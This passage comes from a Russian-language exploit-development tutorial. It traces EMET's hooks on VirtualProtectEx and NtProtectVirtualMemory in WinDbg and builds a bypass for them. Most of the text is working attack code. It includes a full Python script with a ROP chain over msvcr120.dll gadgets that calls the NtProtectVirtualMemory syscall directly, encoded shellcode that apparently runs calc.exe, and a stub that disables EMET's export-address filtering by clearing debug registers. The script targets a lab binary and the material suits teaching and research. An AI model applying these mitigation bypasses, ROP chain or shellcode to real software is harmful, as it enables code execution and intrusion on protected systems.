7625efd1 ff7508          push    dword ptr [ebp+8]
7625efd4 6aff            push    0FFFFFFFFh
7625efd6 e8c1feffff      call    KERNELBASE!VirtualProtectEx (7625ee9c)
7625efdb 5d              pop     ebp

Обратите внимание на хук от EMET. В то время как VirtualProtect работает с текущим процессом, VirtualProtectEx дает возможность указать конкретный процесс, с которым вы хотите работать. Как можно видеть, VirtualProtect вызывает VirtualProtectEx с дополнительным значением -1, которое указывает на текущий процесс. Остальные параметры те же, что и у VirtualProtect.

Теперь давайте посмотрим на VirtualProtectEx:

0:000> u KERNELBASE!VirtualProtectEx
KERNELBASE!VirtualProtectEx:
7625ee9c e97717cbc0      jmp     36f10618     <----------------- another hook from EMET
7625eea1 56              push    esi
7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57              push    edi
7625eea9 ff7518          push    dword ptr [ebp+18h]
7625eeac 8d4510          lea     eax,[ebp+10h]
7625eeaf ff7514          push    dword ptr [ebp+14h]
7625eeb2 50              push    eax
0:000> u
KERNELBASE!VirtualProtectEx+0x17:
7625eeb3 8d450c          lea     eax,[ebp+0Ch]
7625eeb6 50              push    eax
7625eeb7 ff7508          push    dword ptr [ebp+8]
7625eeba ffd6            call    esi      <------------------- calls NtProtectVirtualMemory
7625eebc 8bf8            mov     edi,eax
7625eebe 85ff            test    edi,edi
7625eec0 7c05            jl      KERNELBASE!VirtualProtectEx+0x2b (7625eec7)
7625eec2 33c0            xor     eax,eax

И снова хук от EMET. Однако VirtualProtectEx вызывает NtProtectVirtualMemory:

0:000> u poi(KERNELBASE!_imp__NtProtectVirtualMemory)
ntdll!ZwProtectVirtualMemory:
76eb0038 e9530606c0      jmp     36f10690     <----------------- this is getting old...
76eb003d 33c9            xor     ecx,ecx
76eb003f 8d542404        lea     edx,[esp+4]
76eb0043 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb004a 83c404          add     esp,4
76eb004d c21400          ret     14h
ntdll!ZwQuerySection:
76eb0050 b84e000000      mov     eax,4Eh
76eb0055 33c9            xor     ecx,ecx

А это уже выглядит знакомым: ZwProtectVirtualMemory вызывает Ring 0 сервис! Заметьте, что номер сервиса был перезаписан хуком от EMET, но если исходить из номера следующего сервиса, который равен 0x4E, то наш очевидно должен быть под номером 0x4D.

Если вы внимательно изучите код VirtualProtectEx, то увидите, что параметры, на которые указывает EDX в ZwProtectVirtualMemory, идут в другом порядке, отличном от того, в котором они передавались в VirtualProtectEx. Чтобы рассмотреть все получше, давайте отключим MemProt, затем перезагрузим (Ctrl+Shift+F5) exploitme3.exe в WinDbg и установим следующий брейкпойнт:

bp exploitme3!f "bp KERNELBASE!VirtualProtectEx;g"

Он остановит выполнение программы на вызове функции VirtualProtectEx, которую вызовет наша ROP-цепочка. Установив этот брейкпойнт, нажимаем F5 (Go) и попадем сюда:

KERNELBASE!VirtualProtectEx:
7625ee9c 8bff            mov     edi,edi      <-------------------- we are here!
7625ee9e 55              push    ebp
7625ee9f 8bec            mov     ebp,esp
7625eea1 56              push    esi
7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57              push    edi
7625eea9 ff7518          push    dword ptr [ebp+18h]
7625eeac 8d4510          lea     eax,[ebp+10h]
7625eeaf ff7514          push    dword ptr [ebp+14h]
7625eeb2 50              push    eax
7625eeb3 8d450c          lea     eax,[ebp+0Ch]
7625eeb6 50              push    eax
7625eeb7 ff7508          push    dword ptr [ebp+8]
7625eeba ffd6            call    esi

На этот раз, как и ожидалось, нет хуков. Вот наши 5 параметров в стеке:

Давайте посмотрим, как они кладутся в стек:

KERNELBASE!VirtualProtectEx:
7625ee9c 8bff            mov     edi,edi      <-------------------- we are here!
7625ee9e 55              push    ebp
7625ee9f 8bec            mov     ebp,esp
7625eea1 56              push    esi
7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]
7625eea8 57              push    edi
7625eea9 ff7518          push    dword ptr [ebp+18h]      // lpflOldProtect (writable location)
7625eeac 8d4510          lea     eax,[ebp+10h]
7625eeaf ff7514          push    dword ptr [ebp+14h]      // PAGE_EXECUTE_READWRITE
7625eeb2 50              push    eax                      // ptr to size
7625eeb3 8d450c          lea     eax,[ebp+0Ch]
7625eeb6 50              push    eax                      // ptr to address
7625eeb7 ff7508          push    dword ptr [ebp+8]        // 0xffffffff (current process)
7625eeba ffd6            call    esi

Войдите в вызов:

ntdll!ZwProtectVirtualMemory:
76eb0038 b84d000000      mov     eax,4Dh
76eb003d 33c9            xor     ecx,ecx
76eb003f 8d542404        lea     edx,[esp+4]
76eb0043 64ff15c0000000  call    dword ptr fs:[0C0h]
76eb004a 83c404          add     esp,4
76eb004d c21400          ret     14h

EDX будет указывать на эти 5-ть параметров в следующем порядке:

0xffffffff (current process)
ptr to address
ptr to size
PAGE_EXECUTE_READWRITE
lpflOldProtect (writable location)

Вот конкретный пример:

Прежде, чем тратить наше время на создание новой ROP-цепочки, которая могла бы не работать, нам нужно убедиться, что мы не столкнемся с еще какими-нибудь сюрпризами.

Один из самых простых способов сделать это, заключается в том, чтобы отладить exploitme3.exe с включенным MemProt и перезаписанными хуками EMET, которые следует заменить на оригинальный код. Если все работает хорошо, тогда можно продолжить. Я оставлю вам это в качестве упражнения (сделайте это!).

Создание ROP-цепочки

Даже при том, что, для очистки отладочных регистров, мы будем использовать вызов сервиса ядра, как делали это ранее, на этот раз все будет намного сложнее, потому что нам нужно сделать это с помощью ROP-гаджетов.

Основная проблема здесь в том, что msvcr120.dll не содержит ни одного вызова call dword ptr fs:[0C0h] или его вариаций, таких как call fs:[eax] или fs:eax. Однако, мы знаем, что в ntdll есть много таких вызовов, поэтому может у нас получится найти способ получить один из таких адресов?

Давайте посмотрим на таблицу импорта (IAT, Import Address Table) из msvcr120.dll:

0:000> !dh msvcr120

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
524F7CE6 time date stamp Sat Oct 05 04:43:50 2013

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2122 characteristics
            Executable
            App can handle >2gb addresses
            32 bit word machine
            DLL

OPTIONAL HEADER VALUES
     10B magic #
   12.00 linker version
   DC200 size of code
    DC00 size of initialized data
       0 size of uninitialized data
   11A44 address of entry point
    1000 base of code
         ----- new -----
73c60000 image base
    1000 section alignment
     200 file alignment
       2 subsystem (Windows GUI)
    6.00 operating system version
   10.00 image version
    6.00 subsystem version
   EE000 size of image
     400 size of headers
   FB320 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
     140  DLL characteristics
            Dynamic base
            NX compatible
    1860 [    CED0] address  of Export Directory
   E52BC [      28] address  of Import Directory
   E7000 [     3E8] address  of Resource Directory
       0 [       0] address  of Exception Directory
   E9200 [    3EA0] address  of Security Directory
   E8000 [    5D64] address  of Base Relocation Directory
   DD140 [      38] address  of Debug Directory
       0 [       0] address  of Description Directory
       0 [       0] address  of Special Directory
       0 [       0] address  of Thread Storage Directory
   19E48 [      40] address  of Load Configuration Directory
       0 [       0] address  of Bound Import Directory
   E5000 [     2BC] address  of Import Address Table Directory    <------------------------
       0 [       0] address  of Delay Import Directory
       0 [       0] address  of COR20 Header Directory
       0 [       0] address  of Reserved Directory

[...]

0:000> dds msvcr120+E5000 L 2bc/4
73d45000  76ed107b ntdll!RtlEncodePointer
73d45004  76ec9dd5 ntdll!RtlDecodePointer
73d45008  763b586e kernel32!RaiseExceptionStub
73d4500c  763b11c0 kernel32!GetLastErrorStub
73d45010  763b79d8 kernel32!FSPErrorMessages::CMessageMapper::StaticCleanup+0xc
73d45014  763b3470 kernel32!GetModuleHandleWStub
73d45018  763b4a37 kernel32!GetModuleHandleExWStub
73d4501c  763b1222 kernel32!GetProcAddressStub
73d45020  76434611 kernel32!AreFileApisANSIStub
73d45024  763b18fa kernel32!MultiByteToWideCharStub
73d45028  763b16d9 kernel32!WideCharToMultiByteStub
73d4502c  763b5169 kernel32!GetCommandLineAStub
73d45030  763b51eb kernel32!GetCommandLineWStub
73d45034  763b1420 kernel32!GetCurrentThreadIdStub
73d45038  76eb22c0 ntdll!RtlEnterCriticalSection
73d4503c  76eb2280 ntdll!RtlLeaveCriticalSection
73d45040  76ec4625 ntdll!RtlDeleteCriticalSection
73d45044  763b1481 kernel32!GetModuleFileNameAStub
73d45048  763b11a9 kernel32!SetLastError
73d4504c  763b17b8 kernel32!GetCurrentThreadStub
73d45050  763b4918 kernel32!GetModuleFileNameWStub
73d45054  763b51fd kernel32!IsProcessorFeaturePresent
73d45058  763b517b kernel32!GetStdHandleStub
73d4505c  763b1282 kernel32!WriteFileImplementation
73d45060  763b440a kernel32!FindCloseStub
73d45064  764347bf kernel32!FindFirstFileExAStub
73d45068  763dd52e kernel32!FindNextFileAStub
73d4506c  763c17d9 kernel32!FindFirstFileExWStub
73d45070  763b54b6 kernel32!FindNextFileWStub
73d45074  763b13e0 kernel32!CloseHandleImplementation
73d45078  763b3495 kernel32!CreateThreadStub
73d4507c  76ee801c ntdll!RtlExitUserThread
73d45080  763b43b7 kernel32!ResumeThreadStub
73d45084  763b4925 kernel32!LoadLibraryExWStub
73d45088  763d0622 kernel32!SystemTimeToTzSpecificLocalTimeStub
73d4508c  763b53f4 kernel32!FileTimeToSystemTimeStub
73d45090  7643487f kernel32!GetDiskFreeSpaceAStub
73d45094  763b5339 kernel32!GetLogicalDrivesStub
73d45098  763b1acc kernel32!SetErrorModeStub
73d4509c  764256f0 kernel32!BeepImplementation
73d450a0  763b10ff kernel32!SleepStub
73d450a4  763be289 kernel32!GetFullPathNameAStub
73d450a8  763b11f8 kernel32!GetCurrentProcessIdStub
73d450ac  763b453c kernel32!GetFileAttributesExWStub
73d450b0  763cd4c7 kernel32!SetFileAttributesWStub
73d450b4  763b409c kernel32!GetFullPathNameWStub
73d450b8  763b4221 kernel32!CreateDirectoryWStub
73d450bc  763c9b05 kernel32!MoveFileExW
73d450c0  76434a0f kernel32!RemoveDirectoryWStub
73d450c4  763b4153 kernel32!GetDriveTypeWStub
73d450c8  763b897b kernel32!DeleteFileWStub
73d450cc  763be2f9 kernel32!SetEnvironmentVariableAStub
73d450d0  763c17fc kernel32!SetCurrentDirectoryAStub
73d450d4  763dd4e6 kernel32!GetCurrentDirectoryAStub
73d450d8  763c1228 kernel32!SetCurrentDirectoryWStub
73d450dc  763b55d9 kernel32!GetCurrentDirectoryWStub
73d450e0  763b89b9 kernel32!SetEnvironmentVariableWStub
73d450e4  763b1136 kernel32!WaitForSingleObject
73d450e8  763c1715 kernel32!GetExitCodeProcessImplementation
73d450ec  763b1072 kernel32!CreateProcessA
73d450f0  763b3488 kernel32!FreeLibraryStub
73d450f4  763b48db kernel32!LoadLibraryExAStub
73d450f8  763b103d kernel32!CreateProcessW
73d450fc  763b3e93 kernel32!ReadFileImplementation
73d45100  763d273c kernel32!GetTempPathA
73d45104  763cd4ac kernel32!GetTempPathW
73d45108  763b1852 kernel32!DuplicateHandleImplementation
73d4510c  763b17d5 kernel32!GetCurrentProcessStub
73d45110  763b34c9 kernel32!GetSystemTimeAsFileTimeStub
73d45114  763b4622 kernel32!GetTimeZoneInformationStub
73d45118  763b5a6e kernel32!GetLocalTimeStub
73d4511c  763dd4fe kernel32!LocalFileTimeToFileTimeStub
73d45120  763cec8b kernel32!SetFileTimeStub
73d45124  763b5a46 kernel32!SystemTimeToFileTimeStub
73d45128  76434a6f kernel32!SetLocalTimeStub
73d4512c  76ec47a0 ntdll!RtlInterlockedPopEntrySList
73d45130  76ec27b5 ntdll!RtlInterlockedFlushSList
73d45134  76ec474c ntdll!RtlQueryDepthSList
73d45138  76ec4787 ntdll!RtlInterlockedPushEntrySList
73d4513c  763db000 kernel32!CreateTimerQueueStub
73d45140  763b1691 kernel32!SetEventStub
73d45144  763b1151 kernel32!WaitForSingleObjectExImplementation
73d45148  7643ebeb kernel32!UnregisterWait
73d4514c  763b11e0 kernel32!TlsGetValueStub
73d45150  763cf874 kernel32!SignalObjectAndWait
73d45154  763b14cb kernel32!TlsSetValueStub
73d45158  763b327b kernel32!SetThreadPriorityStub
73d4515c  7643462b kernel32!ChangeTimerQueueTimerStub
73d45160  763cf7bb kernel32!CreateTimerQueueTimerStub
73d45164  76432482 kernel32!GetNumaHighestNodeNumber
73d45168  763dcaf5 kernel32!RegisterWaitForSingleObject
73d4516c  76434ca1 kernel32!GetLogicalProcessorInformationStub
73d45170  763ccd9d kernel32!RtlCaptureStackBackTraceStub
73d45174  763b4387 kernel32!GetThreadPriorityStub
73d45178  763ba839 kernel32!GetProcessAffinityMask
73d4517c  763d0570 kernel32!SetThreadAffinityMask
73d45180  763b4975 kernel32!TlsAllocStub
73d45184  763cf7a3 kernel32!DeleteTimerQueueTimerStub
73d45188  763b3547 kernel32!TlsFreeStub
73d4518c  763cefbc kernel32!SwitchToThreadStub
73d45190  76ec2540 ntdll!RtlTryEnterCriticalSection
73d45194  7643347c kernel32!SetProcessAffinityMask
73d45198  763b183a kernel32!VirtualFreeStub
73d4519c  763b1ab1 kernel32!GetVersionExWStub
73d451a0  763b1822 kernel32!VirtualAllocStub
73d451a4  763b4327 kernel32!VirtualProtectStub
73d451a8  76ec9514 ntdll!RtlInitializeSListHead
73d451ac  763cd37b kernel32!ReleaseSemaphoreStub
73d451b0  763db901 kernel32!UnregisterWaitExStub
73d451b4  763b48f3 kernel32!LoadLibraryW
73d451b8  763dd1c4 kernel32!OutputDebugStringWStub
73d451bc  763cd552 kernel32!FreeLibraryAndExitThreadStub
73d451c0  763b1245 kernel32!GetModuleHandleAStub
73d451c4  7643592b kernel32!GetThreadTimes
73d451c8  763b180a kernel32!CreateEventWStub
73d451cc  763b1912 kernel32!GetStringTypeWStub
73d451d0  763b445b kernel32!IsValidCodePageStub
73d451d4  763b1768 kernel32!GetACPStub
73d451d8  763dd191 kernel32!GetOEMCPStub
73d451dc  763b5151 kernel32!GetCPInfoStub
73d451e0  763dd1b3 kernel32!RtlUnwindStub
73d451e4  763b1499 kernel32!HeapFree
73d451e8  76ebe046 ntdll!RtlAllocateHeap
73d451ec  763b14b9 kernel32!GetProcessHeapStub
73d451f0  76ed2561 ntdll!RtlReAllocateHeap
73d451f4  76ec304a ntdll!RtlSizeHeap
73d451f8  7643493f kernel32!HeapQueryInformationStub
73d451fc  763cb153 kernel32!HeapValidateStub
73d45200  763b46df kernel32!HeapCompactStub
73d45204  7643496f kernel32!HeapWalkStub
73d45208  763b4992 kernel32!GetSystemInfoStub
73d4520c  763b4422 kernel32!VirtualQueryStub
73d45210  763b34f1 kernel32!GetFileTypeImplementation
73d45214  763b4d08 kernel32!GetStartupInfoWStub
73d45218  763be266 kernel32!FileTimeToLocalFileTimeStub
73d4521c  763b5376 kernel32!GetFileInformationByHandleStub
73d45220  76434d61 kernel32!PeekNamedPipeStub
73d45224  763b3f1c kernel32!CreateFileWImplementation
73d45228  763b1328 kernel32!GetConsoleMode
73d4522c  764578d2 kernel32!ReadConsoleW
73d45230  76458137 kernel32!GetConsoleCP
73d45234  763cc7df kernel32!SetFilePointerExStub
73d45238  763b4663 kernel32!FlushFileBuffersImplementation
73d4523c  7643469b kernel32!CreatePipeStub
73d45240  76434a8f kernel32!SetStdHandleStub
73d45244  76457e77 kernel32!GetNumberOfConsoleInputEvents
73d45248  76457445 kernel32!PeekConsoleInputA
73d4524c  7645748b kernel32!ReadConsoleInputA
73d45250  763ca755 kernel32!SetConsoleMode
73d45254  764574ae kernel32!ReadConsoleInputW
73d45258  763d7a92 kernel32!WriteConsoleW
73d4525c  763cce06 kernel32!SetEndOfFileStub
73d45260  763dd56c kernel32!LockFileExStub
73d45264  763dd584 kernel32!UnlockFileExStub
73d45268  763b4a25 kernel32!IsDebuggerPresentStub
73d4526c  763d76f7 kernel32!UnhandledExceptionFilter
73d45270  763b8791 kernel32!SetUnhandledExceptionFilter
73d45274  763b18e2 kernel32!InitializeCriticalSectionAndSpinCountStub
73d45278  763cd7d2 kernel32!TerminateProcessStub
73d4527c  763b110c kernel32!GetTickCountStub
73d45280  763cca32 kernel32!CreateSemaphoreW
73d45284  763b89d1 kernel32!SetConsoleCtrlHandler
73d45288  763b16f1 kernel32!QueryPerformanceCounterStub
73d4528c  763b51ab kernel32!GetEnvironmentStringsWStub
73d45290  763b5193 kernel32!FreeEnvironmentStringsWStub
73d45294  763d34a7 kernel32!GetDateFormatW
73d45298  763cf451 kernel32!GetTimeFormatW
73d4529c  763b3b8a kernel32!CompareStringWStub
73d452a0  763b1785 kernel32!LCMapStringWStub
73d452a4  763b3c02 kernel32!GetLocaleInfoWStub
73d452a8  763cce1e kernel32!IsValidLocaleStub
73d452ac  763b3d65 kernel32!GetUserDefaultLCIDStub
73d452b0  7643479f kernel32!EnumSystemLocalesWStub
73d452b4  763db297 kernel32!OutputDebugStringAStub
73d452b8  00000000

Я последовательно исследовал каждую функцию из ntdll, пока не нашёл подходящего кандидата: ntdll!RtlExitUserThread.

Давайте рассмотрим его:

ntdll!RtlExitUserThread:
76ee801c 8bff            mov     edi,edi
76ee801e 55              push    ebp
76ee801f 8bec            mov     ebp,esp
76ee8021 51              push    ecx
76ee8022 56              push    esi
76ee8023 33f6            xor     esi,esi
76ee8025 56              push    esi
76ee8026 6a04            push    4
76ee8028 8d45fc          lea     eax,[ebp-4]
76ee802b 50              push    eax
76ee802c 6a0c            push    0Ch
76ee802e 6afe            push    0FFFFFFFEh
76ee8030 8975fc          mov     dword ptr [ebp-4],esi
76ee8033 e8d07bfcff      call    ntdll!NtQueryInformationThread (76eafc08)      <-------------------

Теперь посмотрим на ntdll!NtQueryInformationThread:

ntdll!NtQueryInformationThread:
76eafc08 b822000000      mov     eax,22h
76eafc0d 33c9            xor     ecx,ecx
76eafc0f 8d542404        lea     edx,[esp+4]
76eafc13 64ff15c0000000  call    dword ptr fs:[0C0h]
76eafc1a 83c404          add     esp,4
76eafc1d c21400          ret     14h

Отлично! Теперь, как можно определить адрес нужного вызова call dword ptr fs:[0C0h]?

Мы знаем адрес ntdll!RtlExitUserThread, потому что он имеет фиксированный RVA в IAT из msvcr120. По адресу ntdll!RtlExitUserThread+0x17 у нас находится вызов ntdll!NtQueryInformationThread. Этот вызов имеет следующий формат:

here:
  E8 offset

Адрес вызова вычисляется так:

here + offset + 5

В нашем ROP, мы можем вычислить адрес ntdll!NtQueryInformationThread следующим образом:

EAX = 0x7056507c          ; ptr to address of ntdll!RtlExitUserThread (IAT)
EAX = [EAX]               ; address of ntdll!RtlExitUserThread
EAX += 0x18               ; address of "offset" component of call to ntdll!NtQueryInformationThread
EAX += [EAX] + 4          ; address of ntdll!NtQueryInformationThread
EAX += 0xb                ; address of "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"

Теперь мы готовы построить полную ROP-цепочку! Как обычно, будем использовать mona:

.load pykd.pyd
!py mona rop -m msvcr120

Вот полный скрипт на Питоне:

import struct

msvcr120 = 0x73c60000

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000


def create_rop_chain(code_size):
    rop_gadgets = [
        # ecx = esp
        md + 0x704af28c,     # POP ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0xffffffff,
        md + 0x70532761,     # AND ECX,ESP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}

        # ecx = args+8 (&endAddress)
        md + 0x704f4681,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        75*4,
        md + 0x7054b28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,

        # address = ptr to address
        md + 0x704f2487,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704846b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04

        # ecx = args+4 (ptr to &address)
        md + 0x704f4681,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0xfffffff0,
        md + 0x7054b28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,

        # &address = ptr to address
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04

        # ecx = args+8 (ptr to &size)
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # edx = ptr to size
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # &size = ptr to size
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04

        # edx = args
        md + 0x704f2487,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x704846b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # EAX = ntdll!RtlExitUserThread
        md + 0x7053b8fb,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7056507c,     # IAT: &ntdll!RtlExitUserThread
        md + 0x70501e19,     # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,

        # EAX = ntdll!NtQueryInformationThread
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704a691c,     # ADD EAX,DWORD PTR [EAX] # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
        md + 0x704ecd87,     # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04

        # EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x704819e8,     # XCHG EAX,EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}

        # ECX = 0; EAX = 0x4d
        md + 0x704f2485,     # XOR ECX,ECX # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7053b8fb,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x4d,

        md + 0x704c0a08,     # JMP EBX
        md + 0x7055adf3,     # JMP ESP
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14

    # real_code:
        0x90901eeb,          # jmp skip

    # args:
        0xffffffff,          # current process handle
        0x11111111,          # &address = ptr to address
        0x11111111,          # &size = ptr to size
        0x40,
        md + 0x705658f2,     # &Writable location [MSVCR120.dll]
    # end_args:
        0x11111111,          # address     <------- the region starts here
        code_size + 8        # size
    # skip:
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
            "\x33\xC9" +                        # xor    ecx,ecx
            "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
            "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
            "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
            "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
            "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
            "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
            "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
            "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
            "\x54" +                            # push   esp
            "\x6A\xFE" +                        # push   0FFFFFFFEh
            "\x8B\xD4" +                        # mov    edx,esp
            "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
            "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
        )
